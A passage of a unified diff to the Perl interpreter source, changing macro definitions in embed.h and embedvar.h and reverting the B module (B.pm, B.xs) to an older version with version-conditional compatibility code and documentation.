filter_gets(a,b) S_filter_gets(aTHX_ a,b) #define find_in_my_stash(a,b) S_find_in_my_stash(aTHX_ a,b) #define force_ident(a,b) S_force_ident(aTHX_ a,b) @@ -2030,13 +1806,13 @@ #define force_version(a,b) S_force_version(aTHX_ a,b) #define force_word(a,b,c,d) S_force_word(aTHX_ a,b,c,d) #define get_and_check_backslash_N_name(a,b) S_get_and_check_backslash_N_name(aTHX_ a,b) -#define incline(a,b) S_incline(aTHX_ a,b) +#define incline(a) S_incline(aTHX_ a) #define intuit_method(a,b,c) S_intuit_method(aTHX_ a,b,c) -#define intuit_more(a,b) S_intuit_more(aTHX_ a,b) +#define intuit_more(a) S_intuit_more(aTHX_ a) #define lop(a,b,c) S_lop(aTHX_ a,b,c) -#define missingterm(a,b) S_missingterm(aTHX_ a,b) +#define missingterm(a) S_missingterm(aTHX_ a) #define no_op(a,b) S_no_op(aTHX_ a,b) -#define parse_ident(a,b,c,d,e,f,g) S_parse_ident(aTHX_ a,b,c,d,e,f,g) +#define parse_ident(a,b,c,d,e,f) S_parse_ident(aTHX_ a,b,c,d,e,f) #define pending_ident() S_pending_ident(aTHX) #define scan_const(a) S_scan_const(aTHX_ a) #define scan_formline(a) S_scan_formline(aTHX_ a) @@ -2062,15 +1838,15 @@ #define isa_lookup(a,b,c,d) S_isa_lookup(aTHX_ a,b,c,d) # endif # if defined(PERL_IN_UTF8_C) -#define _to_utf8_case(a,b,c,d,e,f,g,h,i) S__to_utf8_case(aTHX_ a,b,c,d,e,f,g,h,i) +#define _to_utf8_case(a,b,c,d,e,f,g) S__to_utf8_case(aTHX_ a,b,c,d,e,f,g) #define check_and_deprecate(a,b,c,d,e,f) S_check_and_deprecate(aTHX_ a,b,c,d,e,f) #define check_locale_boundary_crossing(a,b,c,d) S_check_locale_boundary_crossing(aTHX_ a,b,c,d) #define does_utf8_overflow S_does_utf8_overflow #define isFF_OVERLONG S_isFF_OVERLONG #define is_utf8_common(a,b,c,d) S_is_utf8_common(aTHX_ a,b,c,d) #define is_utf8_common_with_len(a,b,c,d,e) S_is_utf8_common_with_len(aTHX_ a,b,c,d,e) +#define is_utf8_cp_above_31_bits S_is_utf8_cp_above_31_bits #define is_utf8_overlong_given_start_byte_ok S_is_utf8_overlong_given_start_byte_ok -#define new_msg_hv(a,b,c) S_new_msg_hv(aTHX_ a,b,c) #define swash_scan_list_line(a,b,c,d,e,f,g) S_swash_scan_list_line(aTHX_ a,b,c,d,e,f,g) #define swatch_get(a,b,c) S_swatch_get(aTHX_ a,b,c) #define to_lower_latin1 S_to_lower_latin1 @@ -2106,6 +1882,9 @@ #define padname_dup(a,b) Perl_padname_dup(aTHX_ a,b) #define padnamelist_dup(a,b) Perl_padnamelist_dup(aTHX_ a,b) # endif +# if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C) +#define stdize_locale(a) S_stdize_locale(aTHX_ a) +# endif # if defined(USE_LOCALE_COLLATE) #define magic_setcollxfrm(a,b) Perl_magic_setcollxfrm(aTHX_ a,b) #ifndef NO_MATHOMS @@ -2153,6 +1932,9 @@ # define perl_get_sv(a,b) get_sv(a,b) # define perl_init_i18nl10n(a) init_i18nl10n(a) # define perl_init_i18nl14n(a) init_i18nl14n(a) +# define perl_new_collate(a) new_collate(a) +# define perl_new_ctype(a) new_ctype(a) +# define perl_new_numeric(a) new_numeric(a) # define perl_require_pv(a) require_pv(a) /* varargs functions can't be handled with CPP macros. :-( diff --git a/embedvar.h b/embedvar.h index 1b4d67c7684d..a33f213efca9 100644 --- a/embedvar.h +++ b/embedvar.h @@ -40,6 +40,10 @@ # define vTHX PERL_GET_INTERP # endif +#define PL_AboveLatin1 (vTHX->IAboveLatin1) +#define PL_Argv (vTHX->IArgv) +#define PL_Assigned_invlist (vTHX->IAssigned_invlist) +#define PL_Cmd (vTHX->ICmd) #define PL_DBcontrol (vTHX->IDBcontrol) #define PL_DBcv (vTHX->IDBcv) #define PL_DBgv (vTHX->IDBgv) @@ -50,15 +54,25 @@ #define PL_DBtrace (vTHX->IDBtrace) #define PL_Dir (vTHX->IDir) #define PL_Env (vTHX->IEnv) +#define PL_GCB_invlist (vTHX->IGCB_invlist) +#define PL_HasMultiCharFold (vTHX->IHasMultiCharFold) #define PL_InBitmap (vTHX->IInBitmap) +#define PL_LB_invlist (vTHX->ILB_invlist) #define PL_LIO (vTHX->ILIO) +#define PL_Latin1 (vTHX->ILatin1) #define PL_Mem (vTHX->IMem) #define PL_MemParse (vTHX->IMemParse) #define PL_MemShared (vTHX->IMemShared) +#define PL_NonL1NonFinalFold (vTHX->INonL1NonFinalFold) +#define PL_Posix_ptrs (vTHX->IPosix_ptrs) #define PL_Proc (vTHX->IProc) +#define PL_SB_invlist (vTHX->ISB_invlist) #define PL_Sock (vTHX->ISock) #define PL_StdIO (vTHX->IStdIO) #define PL_Sv (vTHX->ISv) +#define PL_UpperLatin1 (vTHX->IUpperLatin1) +#define PL_WB_invlist (vTHX->IWB_invlist) +#define PL_XPosix_ptrs (vTHX->IXPosix_ptrs) #define PL_Xpv (vTHX->IXpv) #define PL_an (vTHX->Ian) #define PL_argvgv (vTHX->Iargvgv) @@ -94,7 +108,6 @@ #define PL_cryptseen (vTHX->Icryptseen) #define PL_curcop (vTHX->Icurcop) #define PL_curcopdb (vTHX->Icurcopdb) -#define PL_curlocales (vTHX->Icurlocales) #define PL_curpad (vTHX->Icurpad) #define PL_curpm (vTHX->Icurpm) #define PL_curpm_under (vTHX->Icurpm_under) @@ -161,11 +174,8 @@ #define PL_incgv (vTHX->Iincgv) #define PL_initav (vTHX->Iinitav) #define PL_inplace (vTHX->Iinplace) -#define PL_internal_random_state (vTHX->Iinternal_random_state) #define PL_isarev (vTHX->Iisarev) #define PL_known_layers (vTHX->Iknown_layers) -#define PL_langinfo_buf (vTHX->Ilanginfo_buf) -#define PL_langinfo_bufsize (vTHX->Ilanginfo_bufsize) #define PL_last_in_gv (vTHX->Ilast_in_gv) #define PL_last_swash_hv (vTHX->Ilast_swash_hv) #define PL_last_swash_key (vTHX->Ilast_swash_key) @@ -176,8 +186,6 @@ #define PL_lastgotoprobe (vTHX->Ilastgotoprobe) #define PL_laststatval (vTHX->Ilaststatval) #define PL_laststype (vTHX->Ilaststype) -#define PL_lc_numeric_mutex_depth (vTHX->Ilc_numeric_mutex_depth) -#define PL_locale_utf8ness (vTHX->Ilocale_utf8ness) #define PL_localizing (vTHX->Ilocalizing) #define PL_localpatches (vTHX->Ilocalpatches) #define PL_lockhook (vTHX->Ilockhook) @@ -208,11 +216,10 @@ #define PL_my_cxt_size (vTHX->Imy_cxt_size) #define PL_na (vTHX->Ina) #define PL_nomemok (vTHX->Inomemok) +#define PL_numeric_local (vTHX->Inumeric_local) #define PL_numeric_name (vTHX->Inumeric_name) #define PL_numeric_radix_sv (vTHX->Inumeric_radix_sv) #define PL_numeric_standard (vTHX->Inumeric_standard) -#define PL_numeric_underlying (vTHX->Inumeric_underlying) -#define PL_numeric_underlying_is_standard (vTHX->Inumeric_underlying_is_standard) #define PL_ofsgv (vTHX->Iofsgv) #define PL_oldname (vTHX->Ioldname) #define PL_op (vTHX->Iop) @@ -274,8 +281,6 @@ #define PL_scopestack_name (vTHX->Iscopestack_name) #define PL_secondgv (vTHX->Isecondgv) #define PL_seen_deprecated_macro (vTHX->Iseen_deprecated_macro) -#define PL_setlocale_buf (vTHX->Isetlocale_buf) -#define PL_setlocale_bufsize (vTHX->Isetlocale_bufsize) #define PL_sharehook (vTHX->Isharehook) #define PL_sig_pending (vTHX->Isig_pending) #define PL_sighandlerp (vTHX->Isighandlerp) @@ -294,6 +299,7 @@ #define PL_stashpad (vTHX->Istashpad) #define PL_stashpadix (vTHX->Istashpadix) #define PL_stashpadmax (vTHX->Istashpadmax) +#define PL_statbuf (vTHX->Istatbuf) #define PL_statcache (vTHX->Istatcache) #define PL_statgv (vTHX->Istatgv) #define PL_statname (vTHX->Istatname) @@ -312,13 +318,11 @@ #define PL_sv_arenaroot (vTHX->Isv_arenaroot) #define PL_sv_consts (vTHX->Isv_consts) #define PL_sv_count (vTHX->Isv_count) -#define PL_sv_immortals (vTHX->Isv_immortals) #define PL_sv_no (vTHX->Isv_no) #define PL_sv_root (vTHX->Isv_root) #define PL_sv_serial (vTHX->Isv_serial) #define PL_sv_undef (vTHX->Isv_undef) #define PL_sv_yes (vTHX->Isv_yes) -#define PL_sv_zero (vTHX->Isv_zero) #define PL_sys_intern (vTHX->Isys_intern) #define PL_taint_warn (vTHX->Itaint_warn) #define PL_tainted (vTHX->Itainted) @@ -330,13 +334,27 @@ #define PL_tmps_stack (vTHX->Itmps_stack) #define PL_top_env (vTHX->Itop_env) #define PL_toptarget (vTHX->Itoptarget) -#define PL_underlying_numeric_obj (vTHX->Iunderlying_numeric_obj) #define PL_unicode (vTHX->Iunicode) #define PL_unitcheckav (vTHX->Iunitcheckav) #define PL_unitcheckav_save (vTHX->Iunitcheckav_save) #define PL_unlockhook (vTHX->Iunlockhook) #define PL_unsafe (vTHX->Iunsafe) +#define PL_utf8_charname_begin (vTHX->Iutf8_charname_begin) +#define PL_utf8_charname_continue (vTHX->Iutf8_charname_continue) +#define PL_utf8_foldable (vTHX->Iutf8_foldable) +#define PL_utf8_foldclosures (vTHX->Iutf8_foldclosures) +#define PL_utf8_idcont (vTHX->Iutf8_idcont) +#define PL_utf8_idstart (vTHX->Iutf8_idstart) #define PL_utf8_mark (vTHX->Iutf8_mark) +#define PL_utf8_perl_idcont (vTHX->Iutf8_perl_idcont) +#define PL_utf8_perl_idstart (vTHX->Iutf8_perl_idstart) +#define PL_utf8_swash_ptrs (vTHX->Iutf8_swash_ptrs) +#define PL_utf8_tofold (vTHX->Iutf8_tofold) +#define PL_utf8_tolower (vTHX->Iutf8_tolower) +#define PL_utf8_totitle (vTHX->Iutf8_totitle) +#define PL_utf8_toupper (vTHX->Iutf8_toupper) +#define PL_utf8_xidcont (vTHX->Iutf8_xidcont) +#define PL_utf8_xidstart (vTHX->Iutf8_xidstart) #define PL_utf8cache (vTHX->Iutf8cache) #define PL_utf8locale (vTHX->Iutf8locale) #define PL_warn_locale (vTHX->Iwarn_locale) @@ -349,34 +367,8 @@ #if defined(PERL_GLOBAL_STRUCT) -#define PL_AboveLatin1 (my_vars->GAboveLatin1) -#define PL_GAboveLatin1 (my_vars->GAboveLatin1) -#define PL_Assigned_invlist (my_vars->GAssigned_invlist) -#define PL_GAssigned_invlist (my_vars->GAssigned_invlist) #define PL_C_locale_obj (my_vars->GC_locale_obj) #define PL_GC_locale_obj (my_vars->GC_locale_obj) -#define PL_GCB_invlist (my_vars->GGCB_invlist) -#define PL_GGCB_invlist (my_vars->GGCB_invlist) -#define PL_HasMultiCharFold (my_vars->GHasMultiCharFold) -#define PL_GHasMultiCharFold (my_vars->GHasMultiCharFold) -#define PL_LB_invlist (my_vars->GLB_invlist) -#define PL_GLB_invlist (my_vars->GLB_invlist) -#define PL_Latin1 (my_vars->GLatin1) -#define PL_GLatin1 (my_vars->GLatin1) -#define PL_NonL1NonFinalFold (my_vars->GNonL1NonFinalFold) -#define PL_GNonL1NonFinalFold (my_vars->GNonL1NonFinalFold) -#define PL_Posix_ptrs (my_vars->GPosix_ptrs) -#define PL_GPosix_ptrs (my_vars->GPosix_ptrs) -#define PL_SB_invlist (my_vars->GSB_invlist) -#define PL_GSB_invlist (my_vars->GSB_invlist) -#define PL_SCX_invlist (my_vars->GSCX_invlist) -#define PL_GSCX_invlist (my_vars->GSCX_invlist) -#define PL_UpperLatin1 (my_vars->GUpperLatin1) -#define PL_GUpperLatin1 (my_vars->GUpperLatin1) -#define PL_WB_invlist (my_vars->GWB_invlist) -#define PL_GWB_invlist (my_vars->GWB_invlist) -#define PL_XPosix_ptrs (my_vars->GXPosix_ptrs) -#define PL_GXPosix_ptrs (my_vars->GXPosix_ptrs) #define PL_appctx (my_vars->Gappctx) #define PL_Gappctx (my_vars->Gappctx) #define PL_check (my_vars->Gcheck) @@ -393,22 +385,14 @@ #define PL_Gdollarzero_mutex (my_vars->Gdollarzero_mutex) #define PL_fold_locale (my_vars->Gfold_locale) #define PL_Gfold_locale (my_vars->Gfold_locale) -#define PL_hash_chars (my_vars->Ghash_chars) -#define PL_Ghash_chars (my_vars->Ghash_chars) #define PL_hash_seed (my_vars->Ghash_seed) #define PL_Ghash_seed (my_vars->Ghash_seed) #define PL_hash_seed_set (my_vars->Ghash_seed_set) #define PL_Ghash_seed_set (my_vars->Ghash_seed_set) -#define PL_hash_state (my_vars->Ghash_state) -#define PL_Ghash_state (my_vars->Ghash_state) #define PL_hints_mutex (my_vars->Ghints_mutex) #define PL_Ghints_mutex (my_vars->Ghints_mutex) #define PL_keyword_plugin (my_vars->Gkeyword_plugin) #define PL_Gkeyword_plugin (my_vars->Gkeyword_plugin) -#define PL_keyword_plugin_mutex (my_vars->Gkeyword_plugin_mutex) -#define PL_Gkeyword_plugin_mutex (my_vars->Gkeyword_plugin_mutex) -#define PL_lc_numeric_mutex (my_vars->Glc_numeric_mutex) -#define PL_Glc_numeric_mutex (my_vars->Glc_numeric_mutex) #define PL_locale_mutex (my_vars->Glocale_mutex) #define PL_Glocale_mutex (my_vars->Glocale_mutex) #define PL_malloc_mutex (my_vars->Gmalloc_mutex) @@ -461,36 +445,6 @@ #define PL_Gtimesbase (my_vars->Gtimesbase) #define PL_use_safe_putenv (my_vars->Guse_safe_putenv) #define PL_Guse_safe_putenv (my_vars->Guse_safe_putenv) -#define PL_utf8_charname_begin (my_vars->Gutf8_charname_begin) -#define PL_Gutf8_charname_begin (my_vars->Gutf8_charname_begin) -#define PL_utf8_charname_continue (my_vars->Gutf8_charname_continue) -#define PL_Gutf8_charname_continue (my_vars->Gutf8_charname_continue) -#define PL_utf8_foldable (my_vars->Gutf8_foldable) -#define PL_Gutf8_foldable (my_vars->Gutf8_foldable) -#define PL_utf8_foldclosures (my_vars->Gutf8_foldclosures) -#define PL_Gutf8_foldclosures (my_vars->Gutf8_foldclosures) -#define PL_utf8_idcont (my_vars->Gutf8_idcont) -#define PL_Gutf8_idcont (my_vars->Gutf8_idcont) -#define PL_utf8_idstart (my_vars->Gutf8_idstart) -#define PL_Gutf8_idstart (my_vars->Gutf8_idstart) -#define PL_utf8_perl_idcont (my_vars->Gutf8_perl_idcont) -#define PL_Gutf8_perl_idcont (my_vars->Gutf8_perl_idcont) -#define PL_utf8_perl_idstart (my_vars->Gutf8_perl_idstart) -#define PL_Gutf8_perl_idstart (my_vars->Gutf8_perl_idstart) -#define PL_utf8_tofold (my_vars->Gutf8_tofold) -#define PL_Gutf8_tofold (my_vars->Gutf8_tofold) -#define PL_utf8_tolower (my_vars->Gutf8_tolower) -#define PL_Gutf8_tolower (my_vars->Gutf8_tolower) -#define PL_utf8_tosimplefold (my_vars->Gutf8_tosimplefold) -#define PL_Gutf8_tosimplefold (my_vars->Gutf8_tosimplefold) -#define PL_utf8_totitle (my_vars->Gutf8_totitle) -#define PL_Gutf8_totitle (my_vars->Gutf8_totitle) -#define PL_utf8_toupper (my_vars->Gutf8_toupper) -#define PL_Gutf8_toupper (my_vars->Gutf8_toupper) -#define PL_utf8_xidcont (my_vars->Gutf8_xidcont) -#define PL_Gutf8_xidcont (my_vars->Gutf8_xidcont) -#define PL_utf8_xidstart (my_vars->Gutf8_xidstart) -#define PL_Gutf8_xidstart (my_vars->Gutf8_xidstart) #define PL_veto_cleanup (my_vars->Gveto_cleanup) #define PL_Gveto_cleanup (my_vars->Gveto_cleanup) #define PL_watch_pvx (my_vars->Gwatch_pvx) diff --git a/ext/B/B.pm b/ext/B/B.pm index ce061e491010..5ea96fa22119 100644 --- a/ext/B/B.pm +++ b/ext/B/B.pm @@ -6,21 +6,16 @@ # License or the Artistic License, as specified in the README file. # package B; +use strict; +require Exporter; @B::ISA = qw(Exporter); -# If B is loaded without imports, we do not want to unnecessarily pollute the stash with Exporter. -sub import { - return unless scalar @_ > 1; # Called as a method call. - require Exporter; - B->export_to_level(1, @_); -} - # walkoptree_slow comes from B.pm (you are there), # walkoptree comes from B.xs BEGIN { - $B::VERSION = '1.74'; + $B::VERSION = '1.68'; @B::EXPORT_OK = (); # Our BOOT code needs $VERSION set, and will append to @EXPORT_OK. @@ -48,12 +43,12 @@ push @B::EXPORT_OK, (qw(minus_c ppname save_BEGINs @B::IV::ISA = 'B::SV'; @B::NV::ISA = 'B::SV'; # RV is eliminated with 5.11.0, but effectively is a specialisation of IV now. -@B::RV::ISA = 'B::IV'; +@B::RV::ISA = $] >= 5.011 ? 'B::IV' : 'B::SV'; @B::PVIV::ISA = qw(B::PV B::IV); @B::PVNV::ISA = qw(B::PVIV B::NV); @B::PVMG::ISA = 'B::PVNV'; -@B::REGEXP::ISA = 'B::PVMG'; -@B::INVLIST::ISA = 'B::PV'; +@B::REGEXP::ISA = 'B::PVMG' if $] >= 5.011; +@B::INVLIST::ISA = 'B::PV' if $] >= 5.019; @B::PVLV::ISA = 'B::GV'; @B::BM::ISA = 'B::GV'; @B::AV::ISA = 'B::PVMG'; @@ -79,14 +74,13 @@ push @B::EXPORT_OK, (qw(minus_c ppname save_BEGINs @B::SPECIAL::ISA = 'B::OBJECT'; -our @optype = qw(OP UNOP BINOP LOGOP LISTOP PMOP SVOP PADOP PVOP LOOP COP +@B::optype = qw(OP UNOP BINOP LOGOP LISTOP PMOP SVOP PADOP PVOP LOOP COP METHOP UNOP_AUX); # bytecode.pl contained the following comment: # Nullsv *must* come first in the following so that the condition # ($$sv == 0) can continue to be used to test (sv == Nullsv). -our @specialsv_name = qw(Nullsv &PL_sv_undef &PL_sv_yes &PL_sv_no - (SV*)pWARN_ALL (SV*)pWARN_NONE (SV*)pWARN_STD - &PL_sv_zero); +@B::specialsv_name = qw(Nullsv &PL_sv_undef &PL_sv_yes &PL_sv_no + (SV*)pWARN_ALL (SV*)pWARN_NONE (SV*)pWARN_STD); { # Stop "-w" from complaining about the lack of a real B::OBJECT class @@ -120,17 +114,15 @@ sub B::IV::int_value { } sub B::NULL::as_string() {""} -*B::IV::as_string = *B::IV::as_string = \*B::IV::int_value; -*B::PV::as_string = *B::PV::as_string = \*B::PV::PV; +*B::IV::as_string = \*B::IV::int_value; +*B::PV::as_string = \*B::PV::PV; # The input typemap checking makes no distinction between different SV types, # so the XS body will generate the same C code, despite the different XS # "types". So there is no change in behaviour from doing "newXS" like this, # compared with the old approach of having a (near) duplicate XS body. # We should fix the typemap checking. - -# Since perl 5.12.0 -*B::IV::RV = *B::IV::RV = \*B::PV::RV; +*B::IV::RV = \*B::PV::RV if $] > 5.012; my $debug; my $op_count = 0; @@ -264,12 +256,12 @@ sub walkoptree_exec { sub walksymtable { my ($symref, $method, $recurse, $prefix) = @_; my $sym; + my $ref; my $fullname; no strict 'refs'; $prefix = '' unless defined $prefix; foreach my $sym ( sort keys %$symref ) { - my $dummy = $symref->{$sym}; # Copying the glob and incrementing - # the GPs refcnt clears cached methods + $ref= $symref->{$sym}; $fullname = "*main::".$prefix.$sym; if ($sym =~ /::$/) { $sym = $prefix . $sym; @@ -549,10 +541,52 @@ give incomprehensible results, or worse. =head2 SV-RELATED CLASSES -B::IV, B::NV, B::PV, B::PVIV, B::PVNV, B::PVMG, -B::PVLV, B::AV, B::HV, B::CV, B::GV, B::FM, B::IO. These classes +B::IV, B::NV, B::RV, B::PV, B::PVIV, B::PVNV, B::PVMG, B::BM (5.9.5 and +earlier), B::PVLV, B::AV, B::HV, B::CV, B::GV, B::FM, B::IO. These classes correspond in the obvious way to the underlying C structures of similar names. -The inheritance hierarchy mimics the underlying C "inheritance": +The inheritance hierarchy mimics the underlying C "inheritance". For the +5.10.x branch, (I 5.10.0, 5.10.1 I) this is: + + B::SV + | + +------------+------------+------------+ + | | | | + B::PV B::IV B::NV B::RV + \ / / + \ / / + B::PVIV / + \ / + \ / + \ / + B::PVNV + | + | + B::PVMG + | + +-----+-----+-----+-----+ + | | | | | + B::AV B::GV B::HV B::CV B::IO + | | + | | + B::PVLV B::FM + +For 5.9.0 and earlier, PVLV is a direct subclass of PVMG, and BM is still +present as a distinct type, so the base of this diagram is + + + | + | + B::PVMG + | + +------+-----+-----+-----+-----+-----+ + | | | | | | | + B::PVLV B::BM B::AV B::GV B::HV B::CV B::IO + | + | + B::FM + +For 5.11.0 and later, B::RV is abolished, and IVs can be used to store +references, and a new type B::REGEXP is introduced, giving this structure: B::SV | @@ -916,6 +950,17 @@ IoIFP($io) == PerlIO_stderr(). Like C, but takes an index as an argument to get only one element, rather than a list of all of them. +=item OFF + +This method is deprecated if running under Perl 5.8, and is no longer present +if running under Perl 5.9 + +=item AvFLAGS + +This method returns the AV specific +flags. In Perl 5.9 these are now stored +in with the main SV flags, so this method is no longer present. + =back =head2 B::CV Methods @@ -936,7 +981,8 @@ rather than a list of all of them. =item PADLIST -Returns a B::PADLIST object. +Returns a B::PADLIST object under Perl 5.18 or higher, or a B::AV in +earlier versions. =item OUTSIDE @@ -974,6 +1020,11 @@ Returns the name of a lexical sub, otherwise C. =item ARRAY +=item PMROOT + +This method is not present if running under Perl 5.9, as the PMROOT +information is no longer stored directly in the hash. + =back =head2 OP-RELATED CLASSES @@ -1116,8 +1167,16 @@ op is contained within. =item pmreplstart +=item pmnext + +Only up to Perl 5.9.4 + =item pmflags +=item extflags + +Since Perl 5.9.5 + =item precomp =item pmoffset @@ -1233,8 +1292,10 @@ Perl 5.22 introduced the B::PADNAMELIST and B::PADNAME classes. =item ARRAY -A list of pads. The first one is a B::PADNAMELIST containing the names. -The rest are currently B::AV objects, but that could +A list of pads. The first one contains the names. + +The first one is a B::PADNAMELIST under Perl 5.22, and a B::AV under +earlier versions. The rest are currently B::AV objects, but that could change in future versions. =item ARRAYelt diff --git a/ext/B/B.xs b/ext/B/B.xs index d9d77157c67b..f6fdd1e902c3 100644 --- a/ext/B/B.xs +++ b/ext/B/B.xs @@ -77,7 +77,7 @@ static const size_t opsizes[] = { #define MY_CXT_KEY "B::_guts" XS_VERSION typedef struct { - SV * x_specialsv_list[8]; + SV * x_specialsv_list[7]; int x_walkoptree_debug; /* Flag for walkoptree debug hook */ } my_cxt_t; @@ -95,7 +95,6 @@ static void B_init_my_cxt(pTHX_ my_cxt_t * cxt) { cxt->x_specialsv_list[4] = (SV *) pWARN_ALL; cxt->x_specialsv_list[5] = (SV *) pWARN_NONE; cxt->x_specialsv_list[6] = (SV *) pWARN_STD; - cxt->x_specialsv_list[7] = &PL_sv_zero; } @@ -468,7 +467,9 @@ typedef IO *B__IO; typedef MAGIC *B__MAGIC; typedef HE *B__HE; typedef struct refcounted_he *B__RHE; +#ifdef PadlistARRAY typedef PADLIST *B__PADLIST; +#endif typedef PADNAMELIST *B__PADNAMELIST; typedef PADNAME *B__PADNAME; @@ -626,6 +627,10 @@ BOOT: ASSIGN_COMMON_ALIAS(I, defstash); cv = newXS("B::curstash", intrpvar_sv_common, file); ASSIGN_COMMON_ALIAS(I, curstash); +#ifdef PL_formfeed + cv = newXS("B::formfeed", intrpvar_sv_common, file); + ASSIGN_COMMON_ALIAS(I, formfeed); +#endif #ifdef USE_ITHREADS cv = newXS("B::regex_padav", intrpvar_sv_common, file); ASSIGN_COMMON_ALIAS(I, regex_padav); @@ -642,11 +647,15 @@ BOOT: #endif } +#ifndef PL_formfeed + void formfeed() PPCODE: PUSHs(make_sv_object(aTHX_ GvSV(gv_fetchpvs("\f", GV_ADD, SVt_PV)))); +#endif + long amagic_generation() CODE: @@ -659,12 +668,16 @@ comppadlist() PREINIT: PADLIST *padlist = CvPADLIST(PL_main_cv ? PL_main_cv : PL_compcv); PPCODE: +#ifdef PadlistARRAY { SV * const rv = sv_newmortal(); sv_setiv(newSVrv(rv, padlist ? "B::PADLIST" : "B::NULL"), PTR2IV(padlist)); PUSHs(rv); } +#else + PUSHs(make_sv_object(aTHX_ (SV *)padlist)); +#endif void sv_undef() @@ -731,7 +744,7 @@ CODE: int i; IV result = -1; ST(0) = sv_newmortal(); - if (strBEGINs(name,"pp_")) + if (strEQs(name,"pp_")) name += 3; for (i = 0; i < PL_maxo; i++) { @@ -1022,18 +1035,20 @@ next(o) ret = make_sv_object(aTHX_ NULL); break; case 41: /* B::PVOP::pv */ - /* OP_TRANS uses op_pv to point to a OPtrans_map struct, - * whereas other PVOPs point to a null terminated string. - * For trans, for now just return the whole struct as a - * string and let the caller unpack() it */ - if ( cPVOPo->op_type == OP_TRANS - || cPVOPo->op_type == OP_TRANSR) - { - const OPtrans_map *const tbl = (OPtrans_map*)cPVOPo->op_pv; - ret = newSVpvn_flags(cPVOPo->op_pv, - (char*)(&tbl->map[tbl->size + 1]) - - (char*)tbl, - SVs_TEMP); + /* OP_TRANS uses op_pv to point to a table of 256 or >=258 + * shorts whereas other PVOPs point to a null terminated + * string. */ + if ( (cPVOPo->op_type == OP_TRANS + || cPVOPo->op_type == OP_TRANSR) && + (cPVOPo->op_private & OPpTRANS_COMPLEMENT) && + !(cPVOPo->op_private & OPpTRANS_DELETE)) + { + const short* const tbl = (short*)cPVOPo->op_pv; + const short entries = 257 + tbl[256]; + ret = newSVpvn_flags(cPVOPo->op_pv, entries * sizeof(short), SVs_TEMP); + } + else if (cPVOPo->op_type == OP_TRANS || cPVOPo->op_type == OP_TRANSR) { + ret = newSVpvn_flags(cPVOPo->op_pv, 256 * sizeof(short), SVs_TEMP); } else ret = newSVpvn_flags(cPVOPo->op_pv, strlen(cPVOPo->op_pv), SVs_TEMP); @@ -1167,10 +1182,6 @@ string(o, cv) PPCODE: aux = cUNOP_AUXo->op_aux; switch (o->op_type) { - case OP_MULTICONCAT: - ret = multiconcat_stringify(o); - break; - case OP_MULTIDEREF: ret = multideref_stringify(o, cv); break; @@ -1226,61 +1237,6 @@ aux_list(o, cv) (char)aux[2].iv) : &PL_sv_no)); break; - case OP_MULTICONCAT: - { - SSize_t nargs; - char *p; - STRLEN len; - U32 utf8 = 0; - SV *sv; - UNOP_AUX_item *lens; - - /* return (nargs, const string, segment len 0, 1, 2, ...) */ - - /* if this changes, this block of code probably needs fixing */ - assert(PERL_MULTICONCAT_HEADER_SIZE == 5); - nargs = aux[PERL_MULTICONCAT_IX_NARGS].ssize; - EXTEND(SP, ((SSize_t)(2 + (nargs+1)))); - PUSHs(sv_2mortal(newSViv((IV)nargs))); - - p = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv; - len = aux[PERL_MULTICONCAT_IX_PLAIN_LEN].ssize; - if (!p) { - p = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv; - len = aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize; - utf8 = SVf_UTF8; - } - sv = newSVpvn(p, len); - SvFLAGS(sv) |= utf8; - PUSHs(sv_2mortal(sv)); - - lens = aux + PERL_MULTICONCAT_IX_LENGTHS; - nargs++; /* loop (nargs+1) times */ - if (utf8) { - U8 *p = (U8*)SvPVX(sv); - while (nargs--) { - SSize_t bytes = lens->ssize; - SSize_t chars; - if (bytes <= 0) - chars = bytes; - else { - /* return char lengths rather than byte lengths */ - chars = utf8_length(p, p + bytes); - p += bytes; - } - lens++; - PUSHs(sv_2mortal(newSViv(chars))); - } - } - else { - while (nargs--) { - PUSHs(sv_2mortal(newSViv(lens->ssize))); - lens++; - } - } - break; - } - case OP_MULTIDEREF: #ifdef USE_ITHREADS # define ITEM_SV(item) *av_fetch(comppad, (item)->pad_offset, FALSE); @@ -1651,12 +1607,19 @@ PV(sv) U32 utf8 = 0; CODE: if (ix == 3) { +#ifndef PERL_FBM_TABLE_OFFSET const MAGIC *const mg = mg_find(sv, PERL_MAGIC_bm); if (!mg) croak("argument to B::BM::TABLE is not a PVBM"); p = mg->mg_ptr; len = mg->mg_len; +#else + p = SvPV(sv, len); + /* Boyer-Moore table is just after string and its safety-margin \0 */ + p += len + PERL_FBM_TABLE_OFFSET; + len = 256; +#endif } else if (ix == 2) { /* This used to read 257. I think that that was buggy - should have been 258. (The "\0", the flags byte, and 256 for the table.) @@ -1674,22 +1637,38 @@ PV(sv) 5.15 and later store the BM table via MAGIC, so the compiler should handle this just fine without changes if PVBM now always returns the SvPVX() buffer. */ +#ifdef isREGEXP p = isREGEXP(sv) ? RX_WRAPPED_const((REGEXP*)sv) : SvPVX_const(sv); +#else + p = SvPVX_const(sv); +#endif +#ifdef PERL_FBM_TABLE_OFFSET + len = SvCUR(sv) + (SvVALID(sv) ? 256 + PERL_FBM_TABLE_OFFSET : 0); +#else len = SvCUR(sv); +#endif } else if (ix) { +#ifdef isREGEXP p = isREGEXP(sv) ? RX_WRAPPED((REGEXP*)sv) : SvPVX(sv); +#else + p = SvPVX(sv); +#endif len = strlen(p); } else if (SvPOK(sv)) { len = SvCUR(sv); p = SvPVX_const(sv); utf8 = SvUTF8(sv); - } else if (isREGEXP(sv)) { + } +#ifdef isREGEXP + else if (isREGEXP(sv)) { len = SvCUR(sv); p = RX_WRAPPED_const((REGEXP*)sv); utf8 = SvUTF8(sv); - } else { + } +#endif + else { /* XXX for backward compatibility, but should fail */ /* croak( "argument is not SvPOK" ); */ p = NULL; @@ -1969,6 +1948,8 @@ I32 CvDEPTH(cv) B::CV cv +#ifdef PadlistARRAY + B::PADLIST CvPADLIST(cv) B::CV cv @@ -1977,6 +1958,17 @@ CvPADLIST(cv) OUTPUT: RETVAL +#else + +B::AV +CvPADLIST(cv) + B::CV cv + PPCODE: + PUSHs(make_sv_object(aTHX_ (SV *)CvPADLIST(cv))); + + +#endif + SV * CvHSCXT(cv) B::CV cv @@ -2077,6 +2069,8 @@ HASH(h) RETVAL +#ifdef PadlistARRAY + MODULE = B PACKAGE = B::PADLIST PREFIX = Padlist SSize_t @@ -2136,6 +2130,8 @@ 